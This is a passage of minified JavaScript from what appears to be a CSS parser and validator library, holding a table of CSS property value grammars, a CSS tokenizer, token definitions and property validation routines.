inherit\",\"-webkit-box-pack\":\"start | end | center | justify\",\"box-shadow\":function(e){var t=!1,n;if(!ValidationTypes.isAny(e,\"none\"))Validation.multiProperty(\"<shadow>\",e,!0,Infinity);else if(e.hasNext())throw n=e.next(),new ValidationError(\"Expected end of value but found '\"+n+\"'.\",n.line,n.col)},\"box-sizing\":\"content-box | border-box | inherit\",\"break-after\":\"auto | always | avoid | left | right | page | column | avoid-page | avoid-column\",\"break-before\":\"auto | always | avoid | left | right | page | column | avoid-page | avoid-column\",\"break-inside\":\"auto | avoid | avoid-page | avoid-column\",\"caption-side\":\"top | bottom | inherit\",clear:\"none | right | left | both | inherit\",clip:1,color:\"<color> | inherit\",\"color-profile\":1,\"column-count\":\"<integer> | auto\",\"column-fill\":\"auto | balance\",\"column-gap\":\"<length> | normal\",\"column-rule\":\"<border-width> || <border-style> || <color>\",\"column-rule-color\":\"<color>\",\"column-rule-style\":\"<border-style>\",\"column-rule-width\":\"<border-width>\",\"column-span\":\"none | all\",\"column-width\":\"<length> | auto\",columns:1,content:1,\"counter-increment\":1,\"counter-reset\":1,crop:\"<shape> | auto\",cue:\"cue-after | cue-before | inherit\",\"cue-after\":1,\"cue-before\":1,cursor:1,direction:\"ltr | rtl | inherit\",display:\"inline | block | list-item | inline-block | table | inline-table | table-row-group | table-header-group | table-footer-group | table-row | table-column-group | table-column | table-cell | table-caption | grid | inline-grid | none | inherit | -moz-box | -moz-inline-block | -moz-inline-box | -moz-inline-grid | -moz-inline-stack | -moz-inline-table | -moz-grid | -moz-grid-group | -moz-grid-line | -moz-groupbox | -moz-deck | -moz-popup | -moz-stack | -moz-marker | -webkit-box | -webkit-inline-box | -ms-flexbox | -ms-inline-flexbox | flex | -webkit-flex | inline-flex | -webkit-inline-flex\",\"dominant-baseline\":1,\"drop-initial-after-adjust\":\"central | middle | after-edge | text-after-edge | ideographic | alphabetic | mathematical | <percentage> | <length>\",\"drop-initial-after-align\":\"baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical\",\"drop-initial-before-adjust\":\"before-edge | text-before-edge | central | middle | hanging | mathematical | <percentage> | <length>\",\"drop-initial-before-align\":\"caps-height | baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical\",\"drop-initial-size\":\"auto | line | <length> | <percentage>\",\"drop-initial-value\":\"initial | <integer>\",elevation:\"<angle> | below | level | above | higher | lower | inherit\",\"empty-cells\":\"show | hide | inherit\",filter:1,fit:\"fill | hidden | meet | slice\",\"fit-position\":1,flex:\"<flex>\",\"flex-basis\":\"<width>\",\"flex-direction\":\"row | row-reverse | column | column-reverse\",\"flex-flow\":\"<flex-direction> || <flex-wrap>\",\"flex-grow\":\"<number>\",\"flex-shrink\":\"<number>\",\"flex-wrap\":\"nowrap | wrap | wrap-reverse\",\"-webkit-flex\":\"<flex>\",\"-webkit-flex-basis\":\"<width>\",\"-webkit-flex-direction\":\"row | row-reverse | column | column-reverse\",\"-webkit-flex-flow\":\"<flex-direction> || <flex-wrap>\",\"-webkit-flex-grow\":\"<number>\",\"-webkit-flex-shrink\":\"<number>\",\"-webkit-flex-wrap\":\"nowrap | wrap | wrap-reverse\",\"-ms-flex\":\"<flex>\",\"-ms-flex-align\":\"start | end | center | stretch | baseline\",\"-ms-flex-direction\":\"row | row-reverse | column | column-reverse | inherit\",\"-ms-flex-order\":\"<number>\",\"-ms-flex-pack\":\"start | end | center | justify\",\"-ms-flex-wrap\":\"nowrap | wrap | wrap-reverse\",\"float\":\"left | right | none | inherit\",\"float-offset\":1,font:1,\"font-family\":1,\"font-size\":\"<absolute-size> | <relative-size> | <length> | <percentage> | inherit\",\"font-size-adjust\":\"<number> | none | inherit\",\"font-stretch\":\"normal | ultra-condensed | extra-condensed | condensed | semi-condensed | semi-expanded | expanded | extra-expanded | ultra-expanded | inherit\",\"font-style\":\"normal | italic | oblique | inherit\",\"font-variant\":\"normal | small-caps | inherit\",\"font-weight\":\"normal | bold | bolder | lighter | 100 | 200 | 300 | 400 | 500 | 600 | 700 | 800 | 900 | inherit\",\"grid-cell-stacking\":\"columns | rows | layer\",\"grid-column\":1,\"grid-columns\":1,\"grid-column-align\":\"start | end | center | stretch\",\"grid-column-sizing\":1,\"grid-column-span\":\"<integer>\",\"grid-flow\":\"none | rows | columns\",\"grid-layer\":\"<integer>\",\"grid-row\":1,\"grid-rows\":1,\"grid-row-align\":\"start | end | center | stretch\",\"grid-row-span\":\"<integer>\",\"grid-row-sizing\":1,\"hanging-punctuation\":1,height:\"<margin-width> | <content-sizing> | inherit\",\"hyphenate-after\":\"<integer> | auto\",\"hyphenate-before\":\"<integer> | auto\",\"hyphenate-character\":\"<string> | auto\",\"hyphenate-lines\":\"no-limit | <integer>\",\"hyphenate-resource\":1,hyphens:\"none | manual | auto\",icon:1,\"image-orientation\":\"angle | auto\",\"image-rendering\":1,\"image-resolution\":1,\"inline-box-align\":\"initial | last | <integer>\",\"justify-content\":\"flex-start | flex-end | center | space-between | space-around\",\"-webkit-justify-content\":\"flex-start | flex-end | center | space-between | space-around\",left:\"<margin-width> | inherit\",\"letter-spacing\":\"<length> | normal | inherit\",\"line-height\":\"<number> | <length> | <percentage> | normal | inherit\",\"line-break\":\"auto | loose | normal | strict\",\"line-stacking\":1,\"line-stacking-ruby\":\"exclude-ruby | include-ruby\",\"line-stacking-shift\":\"consider-shifts | disregard-shifts\",\"line-stacking-strategy\":\"inline-line-height | block-line-height | max-height | grid-height\",\"list-style\":1,\"list-style-image\":\"<uri> | none | inherit\",\"list-style-position\":\"inside | outside | inherit\",\"list-style-type\":\"disc | circle | square | decimal | decimal-leading-zero | lower-roman | upper-roman | lower-greek | lower-latin | upper-latin | armenian | georgian | lower-alpha | upper-alpha | none | inherit\",margin:{multi:\"<margin-width> | inherit\",max:4},\"margin-bottom\":\"<margin-width> | inherit\",\"margin-left\":\"<margin-width> | inherit\",\"margin-right\":\"<margin-width> | inherit\",\"margin-top\":\"<margin-width> | inherit\",mark:1,\"mark-after\":1,\"mark-before\":1,marks:1,\"marquee-direction\":1,\"marquee-play-count\":1,\"marquee-speed\":1,\"marquee-style\":1,\"max-height\":\"<length> | <percentage> | <content-sizing> | none | inherit\",\"max-width\":\"<length> | <percentage> | <content-sizing> | none | inherit\",\"min-height\":\"<length> | <percentage> | <content-sizing> | contain-floats | -moz-contain-floats | -webkit-contain-floats | inherit\",\"min-width\":\"<length> | <percentage> | <content-sizing> | contain-floats | -moz-contain-floats | -webkit-contain-floats | inherit\",\"move-to\":1,\"nav-down\":1,\"nav-index\":1,\"nav-left\":1,\"nav-right\":1,\"nav-up\":1,opacity:\"<number> | inherit\",order:\"<integer>\",\"-webkit-order\":\"<integer>\",orphans:\"<integer> | inherit\",outline:1,\"outline-color\":\"<color> | invert | inherit\",\"outline-offset\":1,\"outline-style\":\"<border-style> | inherit\",\"outline-width\":\"<border-width> | inherit\",overflow:\"visible | hidden | scroll | auto | inherit\",\"overflow-style\":1,\"overflow-wrap\":\"normal | break-word\",\"overflow-x\":1,\"overflow-y\":1,padding:{multi:\"<padding-width> | inherit\",max:4},\"padding-bottom\":\"<padding-width> | inherit\",\"padding-left\":\"<padding-width> | inherit\",\"padding-right\":\"<padding-width> | inherit\",\"padding-top\":\"<padding-width> | inherit\",page:1,\"page-break-after\":\"auto | always | avoid | left | right | inherit\",\"page-break-before\":\"auto | always | avoid | left | right | inherit\",\"page-break-inside\":\"auto | avoid | inherit\",\"page-policy\":1,pause:1,\"pause-after\":1,\"pause-before\":1,perspective:1,\"perspective-origin\":1,phonemes:1,pitch:1,\"pitch-range\":1,\"play-during\":1,\"pointer-events\":\"auto | none | visiblePainted | visibleFill | visibleStroke | visible | painted | fill | stroke | all | inherit\",position:\"static | relative | absolute | fixed | inherit\",\"presentation-level\":1,\"punctuation-trim\":1,quotes:1,\"rendering-intent\":1,resize:1,rest:1,\"rest-after\":1,\"rest-before\":1,richness:1,right:\"<margin-width> | inherit\",rotation:1,\"rotation-point\":1,\"ruby-align\":1,\"ruby-overhang\":1,\"ruby-position\":1,\"ruby-span\":1,size:1,speak:\"normal | none | spell-out | inherit\",\"speak-header\":\"once | always | inherit\",\"speak-numeral\":\"digits | continuous | inherit\",\"speak-punctuation\":\"code | none | inherit\",\"speech-rate\":1,src:1,stress:1,\"string-set\":1,\"table-layout\":\"auto | fixed | inherit\",\"tab-size\":\"<integer> | <length>\",target:1,\"target-name\":1,\"target-new\":1,\"target-position\":1,\"text-align\":\"left | right | center | justify | inherit\",\"text-align-last\":1,\"text-decoration\":1,\"text-emphasis\":1,\"text-height\":1,\"text-indent\":\"<length> | <percentage> | inherit\",\"text-justify\":\"auto | none | inter-word | inter-ideograph | inter-cluster | distribute | kashida\",\"text-outline\":1,\"text-overflow\":1,\"text-rendering\":\"auto | optimizeSpeed | optimizeLegibility | geometricPrecision | inherit\",\"text-shadow\":1,\"text-transform\":\"capitalize | uppercase | lowercase | none | inherit\",\"text-wrap\":\"normal | none | avoid\",top:\"<margin-width> | inherit\",\"-ms-touch-action\":\"auto | none | pan-x | pan-y\",\"touch-action\":\"auto | none | pan-x | pan-y\",transform:1,\"transform-origin\":1,\"transform-style\":1,transition:1,\"transition-delay\":1,\"transition-duration\":1,\"transition-property\":1,\"transition-timing-function\":1,\"unicode-bidi\":\"normal | embed | isolate | bidi-override | isolate-override | plaintext | inherit\",\"user-modify\":\"read-only | read-write | write-only | inherit\",\"user-select\":\"none | text | toggle | element | elements | all | inherit\",\"vertical-align\":\"auto | use-script | baseline | sub | super | top | text-top | central | middle | bottom | text-bottom | <percentage> | <length>\",visibility:\"visible | hidden | collapse | inherit\",\"voice-balance\":1,\"voice-duration\":1,\"voice-family\":1,\"voice-pitch\":1,\"voice-pitch-range\":1,\"voice-rate\":1,\"voice-stress\":1,\"voice-volume\":1,volume:1,\"white-space\":\"normal | pre | nowrap | pre-wrap | pre-line | inherit | -pre-wrap | -o-pre-wrap | -moz-pre-wrap | -hp-pre-wrap\",\"white-space-collapse\":1,widows:\"<integer> | inherit\",width:\"<length> | <percentage> | <content-sizing> | auto | inherit\",\"word-break\":\"normal | keep-all | break-all\",\"word-spacing\":\"<length> | normal | inherit\",\"word-wrap\":\"normal | break-word\",\"writing-mode\":\"horizontal-tb | vertical-rl | vertical-lr | lr-tb | rl-tb | tb-rl | bt-rl | tb-lr | bt-lr | lr-bt | rl-bt | lr | rl | tb | inherit\",\"z-index\":\"<integer> | auto | inherit\",zoom:\"<number> | <percentage> | normal\"};PropertyName.prototype=new SyntaxUnit,PropertyName.prototype.constructor=PropertyName,PropertyName.prototype.toString=function(){return(this.hack?this.hack:\"\")+this.text},PropertyValue.prototype=new SyntaxUnit,PropertyValue.prototype.constructor=PropertyValue,PropertyValueIterator.prototype.count=function(){return this._parts.length},PropertyValueIterator.prototype.isFirst=function(){return this._i===0},PropertyValueIterator.prototype.hasNext=function(){return this._i<this._parts.length},PropertyValueIterator.prototype.mark=function(){this._marks.push(this._i)},PropertyValueIterator.prototype.peek=function(e){return this.hasNext()?this._parts[this._i+(e||0)]:null},PropertyValueIterator.prototype.next=function(){return this.hasNext()?this._parts[this._i++]:null},PropertyValueIterator.prototype.previous=function(){return this._i>0?this._parts[--this._i]:null},PropertyValueIterator.prototype.restore=function(){this._marks.length&&(this._i=this._marks.pop())},PropertyValuePart.prototype=new SyntaxUnit,PropertyValuePart.prototype.constructor=PropertyValuePart,PropertyValuePart.fromToken=function(e){return new PropertyValuePart(e.value,e.startLine,e.startCol)};var Pseudos={\":first-letter\":1,\":first-line\":1,\":before\":1,\":after\":1};Pseudos.ELEMENT=1,Pseudos.CLASS=2,Pseudos.isElement=function(e){return e.indexOf(\"::\")===0||Pseudos[e.toLowerCase()]==Pseudos.ELEMENT},Selector.prototype=new SyntaxUnit,Selector.prototype.constructor=Selector,SelectorPart.prototype=new SyntaxUnit,SelectorPart.prototype.constructor=SelectorPart,SelectorSubPart.prototype=new SyntaxUnit,SelectorSubPart.prototype.constructor=SelectorSubPart,Specificity.prototype={constructor:Specificity,compare:function(e){var t=[\"a\",\"b\",\"c\",\"d\"],n,r;for(n=0,r=t.length;n<r;n++){if(this[t[n]]<e[t[n]])return-1;if(this[t[n]]>e[t[n]])return 1}return 0},valueOf:function(){return this.a*1e3+this.b*100+this.c*10+this.d},toString:function(){return this.a+\",\"+this.b+\",\"+this.c+\",\"+this.d}},Specificity.calculate=function(e){function u(e){var t,n,r,a,f=e.elementName?e.elementName.text:\"\",l;f&&f.charAt(f.length-1)!=\"*\"&&o++;for(t=0,r=e.modifiers.length;t<r;t++){l=e.modifiers[t];switch(l.type){case\"class\":case\"attribute\":s++;break;case\"id\":i++;break;case\"pseudo\":Pseudos.isElement(l.text)?o++:s++;break;case\"not\":for(n=0,a=l.args.length;n<a;n++)u(l.args[n])}}}var t,n,r,i=0,s=0,o=0;for(t=0,n=e.parts.length;t<n;t++)r=e.parts[t],r instanceof SelectorPart&&u(r);return new Specificity(0,i,s,o)};var h=/^[0-9a-fA-F]$/,nonascii=/^[\\u0080-\\uFFFF]$/,nl=/\\n|\\r\\n|\\r|\\f/;TokenStream.prototype=mix(new TokenStreamBase,{_getToken:function(e){var t,n=this._reader,r=null,i=n.getLine(),s=n.getCol();t=n.read();while(t){switch(t){case\"/\":n.peek()==\"*\"?r=this.commentToken(t,i,s):r=this.charToken(t,i,s);break;case\"|\":case\"~\":case\"^\":case\"$\":case\"*\":n.peek()==\"=\"?r=this.comparisonToken(t,i,s):r=this.charToken(t,i,s);break;case'\"':case\"'\":r=this.stringToken(t,i,s);break;case\"#\":isNameChar(n.peek())?r=this.hashToken(t,i,s):r=this.charToken(t,i,s);break;case\".\":isDigit(n.peek())?r=this.numberToken(t,i,s):r=this.charToken(t,i,s);break;case\"-\":n.peek()==\"-\"?r=this.htmlCommentEndToken(t,i,s):isNameStart(n.peek())?r=this.identOrFunctionToken(t,i,s):r=this.charToken(t,i,s);break;case\"!\":r=this.importantToken(t,i,s);break;case\"@\":r=this.atRuleToken(t,i,s);break;case\":\":r=this.notToken(t,i,s);break;case\"<\":r=this.htmlCommentStartToken(t,i,s);break;case\"U\":case\"u\":if(n.peek()==\"+\"){r=this.unicodeRangeToken(t,i,s);break};default:isDigit(t)?r=this.numberToken(t,i,s):isWhitespace(t)?r=this.whitespaceToken(t,i,s):isIdentStart(t)?r=this.identOrFunctionToken(t,i,s):r=this.charToken(t,i,s)}break}return!r&&t===null&&(r=this.createToken(Tokens.EOF,null,i,s)),r},createToken:function(e,t,n,r,i){var s=this._reader;return i=i||{},{value:t,type:e,channel:i.channel,endChar:i.endChar,hide:i.hide||!1,startLine:n,startCol:r,endLine:s.getLine(),endCol:s.getCol()}},atRuleToken:function(e,t,n){var r=e,i=this._reader,s=Tokens.CHAR,o=!1,u,a;i.mark(),u=this.readName(),r=e+u,s=Tokens.type(r.toLowerCase());if(s==Tokens.CHAR||s==Tokens.UNKNOWN)r.length>1?s=Tokens.UNKNOWN_SYM:(s=Tokens.CHAR,r=e,i.reset());return this.createToken(s,r,t,n)},charToken:function(e,t,n){var r=Tokens.type(e),i={};return r==-1?r=Tokens.CHAR:i.endChar=Tokens[r].endChar,this.createToken(r,e,t,n,i)},commentToken:function(e,t,n){var r=this._reader,i=this.readComment(e);return this.createToken(Tokens.COMMENT,i,t,n)},comparisonToken:function(e,t,n){var r=this._reader,i=e+r.read(),s=Tokens.type(i)||Tokens.CHAR;return this.createToken(s,i,t,n)},hashToken:function(e,t,n){var r=this._reader,i=this.readName(e);return this.createToken(Tokens.HASH,i,t,n)},htmlCommentStartToken:function(e,t,n){var r=this._reader,i=e;return r.mark(),i+=r.readCount(3),i==\"<!--\"?this.createToken(Tokens.CDO,i,t,n):(r.reset(),this.charToken(e,t,n))},htmlCommentEndToken:function(e,t,n){var r=this._reader,i=e;return r.mark(),i+=r.readCount(2),i==\"-->\"?this.createToken(Tokens.CDC,i,t,n):(r.reset(),this.charToken(e,t,n))},identOrFunctionToken:function(e,t,n){var r=this._reader,i=this.readName(e),s=Tokens.IDENT;return r.peek()==\"(\"?(i+=r.read(),i.toLowerCase()==\"url(\"?(s=Tokens.URI,i=this.readURI(i),i.toLowerCase()==\"url(\"&&(s=Tokens.FUNCTION)):s=Tokens.FUNCTION):r.peek()==\":\"&&i.toLowerCase()==\"progid\"&&(i+=r.readTo(\"(\"),s=Tokens.IE_FUNCTION),this.createToken(s,i,t,n)},importantToken:function(e,t,n){var r=this._reader,i=e,s=Tokens.CHAR,o,u;r.mark(),u=r.read();while(u){if(u==\"/\"){if(r.peek()!=\"*\")break;o=this.readComment(u);if(o===\"\")break}else{if(!isWhitespace(u)){if(/i/i.test(u)){o=r.readCount(8),/mportant/i.test(o)&&(i+=u+o,s=Tokens.IMPORTANT_SYM);break}break}i+=u+this.readWhitespace()}u=r.read()}return s==Tokens.CHAR?(r.reset(),this.charToken(e,t,n)):this.createToken(s,i,t,n)},notToken:function(e,t,n){var r=this._reader,i=e;return r.mark(),i+=r.readCount(4),i.toLowerCase()==\":not(\"?this.createToken(Tokens.NOT,i,t,n):(r.reset(),this.charToken(e,t,n))},numberToken:function(e,t,n){var r=this._reader,i=this.readNumber(e),s,o=Tokens.NUMBER,u=r.peek();return isIdentStart(u)?(s=this.readName(r.read()),i+=s,/^em$|^ex$|^px$|^gd$|^rem$|^vw$|^vh$|^vmax$|^vmin$|^ch$|^cm$|^mm$|^in$|^pt$|^pc$/i.test(s)?o=Tokens.LENGTH:/^deg|^rad$|^grad$/i.test(s)?o=Tokens.ANGLE:/^ms$|^s$/i.test(s)?o=Tokens.TIME:/^hz$|^khz$/i.test(s)?o=Tokens.FREQ:/^dpi$|^dpcm$/i.test(s)?o=Tokens.RESOLUTION:o=Tokens.DIMENSION):u==\"%\"&&(i+=r.read(),o=Tokens.PERCENTAGE),this.createToken(o,i,t,n)},stringToken:function(e,t,n){var r=e,i=e,s=this._reader,o=e,u=Tokens.STRING,a=s.read();while(a){i+=a;if(a==r&&o!=\"\\\\\")break;if(isNewLine(s.peek())&&a!=\"\\\\\"){u=Tokens.INVALID;break}o=a,a=s.read()}return a===null&&(u=Tokens.INVALID),this.createToken(u,i,t,n)},unicodeRangeToken:function(e,t,n){var r=this._reader,i=e,s,o=Tokens.CHAR;return r.peek()==\"+\"&&(r.mark(),i+=r.read(),i+=this.readUnicodeRangePart(!0),i.length==2?r.reset():(o=Tokens.UNICODE_RANGE,i.indexOf(\"?\")==-1&&r.peek()==\"-\"&&(r.mark(),s=r.read(),s+=this.readUnicodeRangePart(!1),s.length==1?r.reset():i+=s))),this.createToken(o,i,t,n)},whitespaceToken:function(e,t,n){var r=this._reader,i=e+this.readWhitespace();return this.createToken(Tokens.S,i,t,n)},readUnicodeRangePart:function(e){var t=this._reader,n=\"\",r=t.peek();while(isHexDigit(r)&&n.length<6)t.read(),n+=r,r=t.peek();if(e)while(r==\"?\"&&n.length<6)t.read(),n+=r,r=t.peek();return n},readWhitespace:function(){var e=this._reader,t=\"\",n=e.peek();while(isWhitespace(n))e.read(),t+=n,n=e.peek();return t},readNumber:function(e){var t=this._reader,n=e,r=e==\".\",i=t.peek();while(i){if(isDigit(i))n+=t.read();else{if(i!=\".\")break;if(r)break;r=!0,n+=t.read()}i=t.peek()}return n},readString:function(){var e=this._reader,t=e.read(),n=t,r=t,i=e.peek();while(i){i=e.read(),n+=i;if(i==t&&r!=\"\\\\\")break;if(isNewLine(e.peek())&&i!=\"\\\\\"){n=\"\";break}r=i,i=e.peek()}return i===null&&(n=\"\"),n},readURI:function(e){var t=this._reader,n=e,r=\"\",i=t.peek();t.mark();while(i&&isWhitespace(i))t.read(),i=t.peek();i==\"'\"||i=='\"'?r=this.readString():r=this.readURL(),i=t.peek();while(i&&isWhitespace(i))t.read(),i=t.peek();return r===\"\"||i!=\")\"?(n=e,t.reset()):n+=r+t.read(),n},readURL:function(){var e=this._reader,t=\"\",n=e.peek();while(/^[!#$%&\\\\*-~]$/.test(n))t+=e.read(),n=e.peek();return t},readName:function(e){var t=this._reader,n=e||\"\",r=t.peek();for(;;)if(r==\"\\\\\")n+=this.readEscape(t.read()),r=t.peek();else{if(!r||!isNameChar(r))break;n+=t.read(),r=t.peek()}return n},readEscape:function(e){var t=this._reader,n=e||\"\",r=0,i=t.peek();if(isHexDigit(i))do n+=t.read(),i=t.peek();while(i&&isHexDigit(i)&&++r<6);return n.length==3&&/\\s/.test(i)||n.length==7||n.length==1?t.read():i=\"\",n+i},readComment:function(e){var t=this._reader,n=e||\"\",r=t.read();if(r==\"*\"){while(r){n+=r;if(n.length>2&&r==\"*\"&&t.peek()==\"/\"){n+=t.read();break}r=t.read()}return n}return\"\"}});var Tokens=[{name:\"CDO\"},{name:\"CDC\"},{name:\"S\",whitespace:!0},{name:\"COMMENT\",comment:!0,hide:!0,channel:\"comment\"},{name:\"INCLUDES\",text:\"~=\"},{name:\"DASHMATCH\",text:\"|=\"},{name:\"PREFIXMATCH\",text:\"^=\"},{name:\"SUFFIXMATCH\",text:\"$=\"},{name:\"SUBSTRINGMATCH\",text:\"*=\"},{name:\"STRING\"},{name:\"IDENT\"},{name:\"HASH\"},{name:\"IMPORT_SYM\",text:\"@import\"},{name:\"PAGE_SYM\",text:\"@page\"},{name:\"MEDIA_SYM\",text:\"@media\"},{name:\"FONT_FACE_SYM\",text:\"@font-face\"},{name:\"CHARSET_SYM\",text:\"@charset\"},{name:\"NAMESPACE_SYM\",text:\"@namespace\"},{name:\"VIEWPORT_SYM\",text:[\"@viewport\",\"@-ms-viewport\"]},{name:\"UNKNOWN_SYM\"},{name:\"KEYFRAMES_SYM\",text:[\"@keyframes\",\"@-webkit-keyframes\",\"@-moz-keyframes\",\"@-o-keyframes\"]},{name:\"IMPORTANT_SYM\"},{name:\"LENGTH\"},{name:\"ANGLE\"},{name:\"TIME\"},{name:\"FREQ\"},{name:\"DIMENSION\"},{name:\"PERCENTAGE\"},{name:\"NUMBER\"},{name:\"URI\"},{name:\"FUNCTION\"},{name:\"UNICODE_RANGE\"},{name:\"INVALID\"},{name:\"PLUS\",text:\"+\"},{name:\"GREATER\",text:\">\"},{name:\"COMMA\",text:\",\"},{name:\"TILDE\",text:\"~\"},{name:\"NOT\"},{name:\"TOPLEFTCORNER_SYM\",text:\"@top-left-corner\"},{name:\"TOPLEFT_SYM\",text:\"@top-left\"},{name:\"TOPCENTER_SYM\",text:\"@top-center\"},{name:\"TOPRIGHT_SYM\",text:\"@top-right\"},{name:\"TOPRIGHTCORNER_SYM\",text:\"@top-right-corner\"},{name:\"BOTTOMLEFTCORNER_SYM\",text:\"@bottom-left-corner\"},{name:\"BOTTOMLEFT_SYM\",text:\"@bottom-left\"},{name:\"BOTTOMCENTER_SYM\",text:\"@bottom-center\"},{name:\"BOTTOMRIGHT_SYM\",text:\"@bottom-right\"},{name:\"BOTTOMRIGHTCORNER_SYM\",text:\"@bottom-right-corner\"},{name:\"LEFTTOP_SYM\",text:\"@left-top\"},{name:\"LEFTMIDDLE_SYM\",text:\"@left-middle\"},{name:\"LEFTBOTTOM_SYM\",text:\"@left-bottom\"},{name:\"RIGHTTOP_SYM\",text:\"@right-top\"},{name:\"RIGHTMIDDLE_SYM\",text:\"@right-middle\"},{name:\"RIGHTBOTTOM_SYM\",text:\"@right-bottom\"},{name:\"RESOLUTION\",state:\"media\"},{name:\"IE_FUNCTION\"},{name:\"CHAR\"},{name:\"PIPE\",text:\"|\"},{name:\"SLASH\",text:\"/\"},{name:\"MINUS\",text:\"-\"},{name:\"STAR\",text:\"*\"},{name:\"LBRACE\",endChar:\"}\",text:\"{\"},{name:\"RBRACE\",text:\"}\"},{name:\"LBRACKET\",endChar:\"]\",text:\"[\"},{name:\"RBRACKET\",text:\"]\"},{name:\"EQUALS\",text:\"=\"},{name:\"COLON\",text:\":\"},{name:\"SEMICOLON\",text:\";\"},{name:\"LPAREN\",endChar:\")\",text:\"(\"},{name:\"RPAREN\",text:\")\"},{name:\"DOT\",text:\".\"}];(function(){var e=[],t={};Tokens.UNKNOWN=-1,Tokens.unshift({name:\"EOF\"});for(var n=0,r=Tokens.length;n<r;n++){e.push(Tokens[n].name),Tokens[Tokens[n].name]=n;if(Tokens[n].text)if(Tokens[n].text instanceof Array)for(var i=0;i<Tokens[n].text.length;i++)t[Tokens[n].text[i]]=n;else t[Tokens[n].text]=n}Tokens.name=function(t){return e[t]},Tokens.type=function(e){return t[e]||-1}})();var Validation={validate:function(e,t){var n=e.toString().toLowerCase(),r=t.parts,i=new PropertyValueIterator(t),s=Properties[n],o,u,a,f,l,c,h,p,d,v,m;if(!s){if(n.indexOf(\"-\")!==0)throw new ValidationError(\"Unknown property '\"+e+\"'.\",e.line,e.col)}else typeof s!=\"number\"&&(typeof s==\"string\"?s.indexOf(\"||\")>-1?this.groupProperty(s,i):this.singleProperty(s,i,1):s.multi?this.multiProperty(s.multi,i,s.comma,s.max||Infinity):typeof s==\"function\"&&s(i))},singleProperty:function(e,t,n,r){var i=!1,s=t.value,o=0,u;while(t.hasNext()&&o<n){i=ValidationTypes.isAny(t,e);if(!i)break;o++}if(!i)throw t.hasNext()&&!t.isFirst()?(u=t.peek(),new ValidationError(\"Expected end of value but found '\"+u+\"'.\",u.line,u.col)):new ValidationError(\"Expected (\"+e+\") but found '\"+s+\"'.\",s.line,s.col);if(t.hasNext())throw u=t.next(),new ValidationError(\"Expected end of value but found '\"+u+\"'.\",u.line,u.col)},multiProperty:function(e,t,n,r){var i=!1,s=t.value,o=0,u=!1,a;while(t.hasNext()&&!i&&o<r){if(!ValidationTypes.isAny(t,e))break;o++;if(!t.hasNext())i=!0;else if(n){if(t.peek()!=\",\")break;a=t.next()}}if(!i)throw t.hasNext()&&!t.isFirst()?(a=t.peek(),new ValidationError(\"Expected end of value but found '\"+a+\"'.\",a.line,a.col)):(a=t.previous(),n&&a==\",\"?new ValidationError(\"Expected end of value but found '\"+a+\"'.\",a.line,a.col):new ValidationError(\"Expected (\"+e+\") but found '\"+s+\"'.\",s.line,s.col));if(t.hasNext())throw a=t.next(),new ValidationError(\"Expected end of value but found '\"+a+\"'.\",a.line,a.col)},groupProperty:function(e,t,n){var r=!1,i=t.value,s=e.split(\"||\").length,o={count:0},u=!1,a,f;while(t.hasNext()&&!r){a=ValidationTypes.isAnyOfGroup(t,e);if(!a)break;if(o[a])break;o[a]=1,o.count++,u=!0;if(o.count==s||!t.hasNext())r=!0}if(!r)throw u&&t.hasNext()?(f=t.peek(),new ValidationError(\"Expected end of value but found '\"+f+\"'.\",f.line,f.col)):new ValidationError(\"Expected (\"+e+\") but found '\"+i+\"'.\",i.line,i.col);if(t.hasNext())throw f=t.next(),new ValidationError(\"Expected end of value but found '\"+f+\"'.\",f.line,f.col)}};ValidationError.prototype=new Error;var ValidationTypes={isLiteral:function(e,t){var n=e.text.toString().toLowerCase(),r=t.split(\" | \"),i,s,o=!1;for(i=0,s=r.length;i<s&&!o;i++)n==r[i].toLowerCase()&&(o=!0);return o},isSimple:function(e){return!!this.simple[e]},isComplex:function(e){return!!this.complex[e]},isAny:function(e,t){var n=t.split(\" | \"),r,i,s=!1;for(r=0,i=n.length;r<i&&!s&&e.hasNext();r++)s=this.isType(e,n[r]);return s},isAnyOfGroup:function(e,t){var n=t.split(\" || \"),r,i,s=!1;for(r=0,i=n.length;r<i&&!s;r++)s=this.isType(e,n[r]);return s?n[r-1]:!1},isType:function(e,t){var n=e.peek(),r=!1;return t.charAt(0)!=\"<\"?(r=this.isLiteral(n,t),r&&e.next()):this.simple[t]?(r=this.simple[t](n),r&&e.next()):r=this.complex[t](e),r},simple:{\"<absolute-size>\":function(e){return ValidationTypes.isLiteral(e,\"xx-small | x-small | small | medium | large | x-large | xx-large\")},\"<attachment>\":function(e){return ValidationTypes.isLiteral(e,\"scroll | fixed | local\")},\"<attr>\":function(e){return e.type==\"function\"&&e.name==\"attr\"},\"<bg-image>\":function(e){return this[\"<image>\"](e)||this[\"<gradient>\"](e)||e==\"none\"},\"<gradient>\":function(e){return e.type==\"function\"&&/^(?:\\-(?:ms|moz|o|webkit)\\-)?(?:repeating\\-)?(?:radial\\-|linear\\-)?gradient/i.test(e)},\"<box>\":function(e){return ValidationTypes.isLiteral(e,\"padding-box | border-box | content-box\")},\"<content>\":function(e){return e.type==\"function\"&&e.name==\"content\"},\"<relative-size>\":function(e){return ValidationTypes.isLiteral(e,\"smaller | larger\")},\"<ident>\":function(e){return e.type==\"identifier\"},\"<length>\":function(e){return e.type==\"function\"&&/^(?:\\-(?:ms|moz|o|webkit)\\-)?calc/i.test(e)?!0:e.type==\"length\"||e.type==\"number\"||e.type==\"integer\"||e==\"0\"},\"<color>\":function(e){return e.type==\"color\"||e==\"transparent\"},\"<number>\":function(e){return e.type==\"number\"||this[\"<integer>\"](e)},\"<integer>\":function(e){return e.type==\"integer\"},\"<line>\":function(e){return e.type==\"integer\"},\"<angle>\":function(e){return e.type==\"angle\"},\"<uri>\":function(e){return e.type==\"uri\"},\"<image>\":function(e){return this[\"<uri>\"](e)},\"<percentage>\":function(e){return e.type==\"percentage\"||e==\"0\"},\"<border-width>\":function(e){return this[\"<length>\"](e)||ValidationTypes.isLiteral(e,\"thin | medium | thick\")},\"<border-style>\":function(e){return ValidationTypes.isLiteral(e,\"none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset\")},\"<content-sizing>\":function(e){return ValidationTypes.isLiteral(e,\"fill-available | -moz-available | -webkit-fill-available | max-content | -moz-max-content | -webkit-max-content | min-content | -moz-min-content | -webkit-min-content | fit-content | -moz-fit-content | -webkit-fit-content\")},\"<margin-width>\":function(e){return 